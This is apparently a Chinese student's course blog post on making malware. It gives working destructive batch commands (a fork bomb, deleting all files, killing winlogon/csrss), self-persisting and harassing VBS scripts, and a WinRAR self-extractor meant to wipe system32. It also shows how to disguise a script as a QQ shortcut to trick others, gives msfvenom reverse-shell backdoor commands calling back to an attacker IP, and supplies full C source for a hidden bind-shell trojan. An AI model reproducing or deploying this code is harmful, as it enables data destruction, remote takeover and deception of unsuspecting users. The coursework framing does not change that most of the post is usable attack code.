• 20155326《网络对抗》免考项目——恶意代码的研究与深入分析之恶意代码的生成


    20155326《网络对抗》免考项目——恶意代码的研究与深入分析之恶意代码的生成

    病毒的几种制作方法

    计算机病毒的制作方法有很多,这里重点介绍三种方法。

    通过创建批处理

    批处理(Batch).也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为bat。批处理是一种简化的脚本语言.也称作宏。它应用于Dos和windOW$系统中。它是由DOS或者Windows系统内嵌的命令解释器(通常是command.corn或者cmd exe)解释运行。类似于Unix中的Shell脚本。

    批处理最简单的应用是逐行书写在命令行中会用到的各种命令。更复杂的情况.需要使用玎.for、goto等命令控制程序的运行过程.如同C、Basle等中高级语言一样。如果需要实现更复杂的应用.利用外部程序是必要的.这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件.可以用记事本直接编辑或用DOS命令创建,也可以用DOS下的文本编辑器Edit.exe来编辑。在“命令提示”下键人批处理文件的名称.或者双击该批处理文件.系统就会调用cmd.既e运行该批处理程序。一般情况下.每条命令占据一行;当然也可以将多条命令用特定符号(如:&、&&、I、II等)分隔后写入同一行中:还有的情况就是像订、for等较高级的命令则要占据几行甚至几百行的空间。系统在解释运行批处理程序时,首先扫描整个批处理程序,然后从第一行代码开始向下逐句执行所有的命令.直至程序结尾或遇见exit命令或出错意外退出。最简单的方法是用“copycon主文件名.bat”来创建bat文件,在创建完后按CTRLvZ键来结束。但这种方法的缺点是只能写,不能改。其常指令有:Call,Echo、For、Cow、If、Pause、Rem多种。

    这个的原理就是,点击.bat文件,会自动在cmd中运行文件中的代码,所以只需在代码中加入攻击元素,便会达到攻击效果。

    • Restara病毒制作

    Restara是一款可以让计算机重启的病毒,这种病毒运行后,计算机会重启,正在编辑的数据可能会全部消失。

    这里我们通过创建批处理来制作一个病毒。

    新建一个记事本,在记事本里输入:shutdown /r,注意空格。

    点击“另存为”,选择保存类型为“所有文件”,更改文件名为“腾讯QQ”,然后保存在桌面。

    右键——创建快捷方式,然后右键快捷方式——属性。

    点击更改图标

    点击浏览,选择.ico文件。

    搜索我本机里面的qq.ico,选择后发现他是一个不可用的,好吧,我自己下载了一个low版的qq图标。

    之后点击确定。

    点击查看冒牌的“腾讯QQ快捷方式”,右键——属性,选择隐藏后保存

    这时一个restart病毒就做好啦,为了防止我的虚拟机坏掉,我快速的在运行他之前给虚拟机来了一个快照。

    点击运行我的小病毒,果然,首先他在cmd命令下自动输入了自动关机之前记事本里面的语句(太快了,我试了好几遍都没抓到打开的cmd窗口),然后电脑发出警告,将在一分钟之内关机

    然后我发现他隐藏的还是不够完美,于是我将它名字直接改成了腾讯QQ,嘻嘻,除了这个.ico有点出戏以外看着还是蛮真的。我可以把它拷到别人的电脑上,然后当他一不小心点击以后便会遭到攻击。

    接下来按照同样的方法,我们制作几个不同功能能的小病毒:

    1、重复执行某条命令直至死机的批处理代码:

    start cmd
    %0
    

    这次我们做成Git软件的样子,制作完成后记得隐藏.bat文件。

    由于它具有攻击性,所以我将他拷到我的虚拟机中进行试验。哇这个,太猛了,我的虚拟机不停地弹窗口出来,也不能选择关机,电脑开始发热,最后只能选择在360小助手中结束了vm的进程。

    受到上一个的惊吓,我决定不演示下面的病毒了,给出代码让大家看看就好。

    2、复制一个文件的磁盘的每个子文件夹当中

    for /r /d %a in (*)  do copy test.txt "%a" /y
    

    3、不停地执行同一条命令

    for /l %a in (1,0,2) do net send 192.168.1.1 "×××来了!"
    

    4、死机,蓝屏

    ntsd -c q -pn winlogon.exe(蓝屏重启)
    
    ntsd -c q -pn csrss.exe(死机)
    

    5、创建无法删除的特殊名字文件夹

    md \.c:con
    md \.c:aux
    

    6、创建无法双击打开无法删除的另类文件夹

    md test..
    rd test.. /s /d
    

    7、注销

    rundll32.exe user32.dll LockWorkStation
    

    8、删除磁盘所有文件

    del * /a /q /f
    

    通过vbs代码

    VBS脚本病毒是使用VBScript编写。以宏病毒和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单,使用VBScript编写。他的攻击方式和批处理相似。

    新建一个文本文档,输入以下代码

    PS:代码里面WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。

    然后把它的后缀名改成.vbs

    时你只要双击,就可以看到你的vbs文件运行了,也就是说你已经成功创作!!!

    将弹出的对话框删掉,会出现下面的新对话框,叉掉后又有新的出来,反复循环,是关不掉的。这是貌似只能按照他的要求输入。

    好吧,没有在两分钟之内输入*是猪,于是他关机重启了。

    开机后,我们再来看看他的一次完整整蛊是什么样。

    尝试将他中途关掉,我打开任务管理器,准备结束这个应用程序,结果如下:

    我关了这个又自动弹开了另一个,真是拿他没有办法,所以我又一次被动关机重启了电脑。

    看来我的这个小程序还是比较强的呀嘻嘻。

    接下来再来几个骚扰型小病毒啦啦啦

    • 无尽语音报数:

    无限语音从1数到无限大。

    在新建txt里面输入下面代码,之后改变其后缀为.vbs,运行来看看。

    Set s = CreateObject("sapi.spvoice") 
    i=0 
    do 
    s.speak i 
    i=i+1 
    loop 
    

    没办法把音频放上来就来个这个假装有声音吧。

    • 无尽刷新

    慎用,如此刷新打开任务管理器都难,只能拔掉电源。

    set ws=createobject("wscript.shell") 
    do 
    ws.sendkeys "{f5}" 
    loop 
    

    好吧,点击了以后我的电脑无法自理了。。。重启+1

    • 修改注册表:

      on error resume next
      set wr=createobject("scripting.filesystemobject")
      set ws=createobject("wscript.shell")
      set f = wr.getfile(wscript.scriptfullname)
      q=ws.regread("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup")
      if not f="Win32.vbs" then wr.copyfile f,q&"Win32.vbs",true
      ws.run"shutdown -p",vbhide

    这应该是启动的意思,让我们来看看效果。

    叮咚一声脆响,我的电脑又关机了。实践告诉我,这是启动关机。还可以使用其他的语句来达到你的攻击效果。

    当我想尝试下一个小病毒时发现我的电脑已经挂掉了,一开机就会关机,多一秒让我看看熟悉的开机主页面机会都不给。还好我有快照!哈哈哈

    • QQ信息骚扰恶搞:

    打开好友的聊天对话框,然后记下聊天对话框的名称(如图:"28754857"),填到代码中。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

    On Error Resume Next 
    Dim wsh,ye 
    set wsh=createobject("wscript.shell") 
    for i=1 to 10 
    wscript.sleep 700 
    wsh.AppActivate("28754857") 
    wsh.sendKeys "^v" 
    wsh.sendKeys i 
    wsh.sendKeys "%s" 
    next 
    wscript.quit
    

    PS:这里"28754857"是我的qq里面的一个联系人的备注名称。
    按之前步骤,调整格式后,点击它看看会发生什么。

    很奇怪,只发送了后几次。再次尝试后发现了他的正确使用方法:在点击这个骚扰病毒后,马上和对方发消息,然后骚扰信息就会全发送给对方啦。

    使用WinRAR

    前两种制造病毒的方法都会用到一些编程工具代码等,下面这种用WinRAR快速简单制作一个破坏系统的病毒,不需要任何代码。

    WinRAR我想大家都不会陌生,一款非常常用的压缩软件,。

    首先打开WinRAR,点击【添加】把文件添加到压缩文件中,点击【常规】创建自解压格式压缩文件

    选择 高级——自解压选项

    高级自解压选项【常规】解压路径,输入:%windir%system32 或 C:Windowssystem32。

    选择 模式——全部隐藏。

    点击 高级——目标文件夹中要删除的文件,输入:.

    在 更新——更新方式,选择仅更新已经存在的文件,覆盖方式选择跳过已经在的文件

    最后点击确定,生成了.exe文件。

    这文件看着没有问题,但运行后就会破坏系统文件,所以理论上在运行后杀毒软件等就会进行拦截了。

    运行后破坏系统文件,一开始运行后不会有什么反应,但重启电脑后就会发现系统提示文件丢失损坏。

    由于我的win7虚拟机里面没有WinRAR,我又不敢在我的主机里面做,就暂且不足测试了。放一个别人的测试结果。

    看到了这个评论,哈哈哈哈哈,更加坚定了我不手贱在我主机试毒。

    利用Metasploi生成后门

    Metasploit生成各种格式的后门。除了之前实验二生成的.exe(Windows下的后门),还有Linux环境下的后门、PHP后门、java后门、Android后门,以及shellcode等等。具体生成各种类型的后门的操作如下:

    Linux下的后门

    操作方法与Windows后门类似,输入msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.146.129 LPORT=5326 x> 20155326_backdoor生成木马。

    与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名赋予可执行的权限。

    执行时使用./程序名即可。

    生成Java后门程序

    Java程序在windows下和在linux下都可以生效执行。使用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.146.129 lport=5326 x> 20155326_backdoor.jar生成木马。

    生成PHP后门程序

    使用msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.146.129 lport=5326 x> 20155326_backdoor.php生成木马。

    把生成的木马php文件放到网站上面,当别人访问的时候就会执行。

    生成Android后门程序

    使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.146.129 lport=5326 x> 20155326_backdoor.apk生成木马。

    此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。

    生成shellcode

    使用msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.146.129 lport=5326 -f c生成一段shellcode。

    将此shellcode写入可执行文件,执行时就会回连攻击机。

    木马的生成

    木马程序原理

    木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。

    常见的编程技术

    修改注册表技术
    多线程技术
    后台监控技术
    定时触发技术

    木马编写

    首先先在CB中新建一个Win32 Console Application工程。

    写程序的时候我们需要想一下要实现那些功能,写木马同样一样,首先我准备写一个后门型木马,主要的功能就是给我们开一个端口,让我们使用Telnet命令连接上去,从而控制目标计算机,作为木马,我们当然还需要隐藏自己。

    代码如下:

    
    
    #pragma comment(lib,"ws2_32.lib")  //这里我们静态加入一个lib文件,也就是ws2_32.lib</font>
    #pragma comment(linker,"/subsystem:"windows"/entry:"mainCRTStartup"") //设置连接器选项
    #include <winsock2.h> //包含头文件winsock2.h,这个是 windows socket的头文件
    #include <windows.h> //常用的,不解释
    #define MasterPort 5326 //定义一个常量,也就是我们后面要打开的端口
    #include <stdio.h>
    #include <stdlib.h>
    
    int main()//主函数不解释
    {
    WSADATA WSADa;//这个结构被用来存储被WSAStartup函数调用后返回的Windows Sockets数据。后面的基本上差不多就不解释,不懂请大家自行百度
    struct sockaddr_in SockAddrIn;
    SOCKET CSocket,SSocket;
    int iAddrSize;
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;
    char szCMDPath[255];
    //分配内存,初始化数据
    ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
    ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
    ZeroMemory(&WSADa,sizeof(WSADATA));
    //获取cmd路径
    GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath));
    //加载ws2_32.dll
    WSAStartup(0x0202,&WSADa);
    //设置本地信息和绑定协议,建立socket,代码如下:
    SockAddrIn.sin_family = AF_INET;
    SockAddrIn.sin_addr.s_addr = INADDR_ANY;
    SockAddrIn.sin_port = htons(MasterPort);
    CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    //设置绑定端口999
    bind(CSocket,(SOCKADDR *)&SockAddrIn,sizeof(SockAddrIn));
    //设置服务器端监听端口
    listen(CSocket,1);
    iAddrSize = sizeof(SockAddrIn);
    //开始连接远程服务器,并配置隐藏窗口结构体
    SSocket = accept(CSocket,(SOCKADDR *)&SockAddrIn,&iAddrSize);
    StartupInfo.cb = sizeof(STARTUPINFO);
    StartupInfo.wShowWindow = SW_HIDE;
    StartupInfo.dwFlags = STARTF_USESTDHANDLES |
    STARTF_USESHOWWINDOW;
    StartupInfo.hStdInput = (HANDLE)SSocket;
    StartupInfo.hStdOutput = (HANDLE)SSocket;
    StartupInfo.hStdError = (HANDLE)SSocket;
    //创建匿名管道:
    CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    //关闭进程句柄:
    closesocket(CSocket);
    closesocket(SSocket);
    WSACleanup();
    //关闭连接卸载ws2_32.dll
    return 0;
    }
    
            
    
    

    建立CSocket开始,然后绑定端口5326,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,是因为系统重启这个木马就会被清除了。因为并没有添加进系统启动项,隐藏进程。

    接下来我们就将编译好的木马放在测试机上进行测试,可以发现运行程序并没有什么事情发生。

    输入netstat -an 查看端口状况,发现程序已经在默默的在运行,而且打开了5326端口。

    总结

    这里我做了好多小病毒,在运行过程中并没有报毒,试想一下我将这些小病毒通过微信、邮件、U盘拷贝等方式传播出去,人们在不知情的情况下点击它,会产生什么影响,如果只是一些恶作剧还好,要是修改了注册表、执行了一些恶意操作,后果是不堪设想的。后门的制作我偏向于生成,没有详细展示他的攻击效果。

  • 相关阅读:
    [QT][待解决问题]对话框ui载入卡顿问题
    [QT] Tab键切换焦点顺序
    [QT][问题记录]发布软件时遇到的问题
    [QT][转载] Qt信号和槽
    [QT][转载]Qt:使用C++还是QML
    [qt][问题记录] 无法定位程序输入点 _ZdaPvj 于动态链接库 libstdc++-6.dll
    [QT]安装中出现的问题(安装qt5.8,出现Could not start:"{0,3010,1603,5100} msiexec ...")
    [转载]Lwip之IP/MAC地址冲突检测
    转载:TCP连接的状态详解以及故障排查
    git push (第一次) (转)
  • 原文地址:https://www.cnblogs.com/lmc1998/p/9110990.html
Copyright © 2020-2023  润新知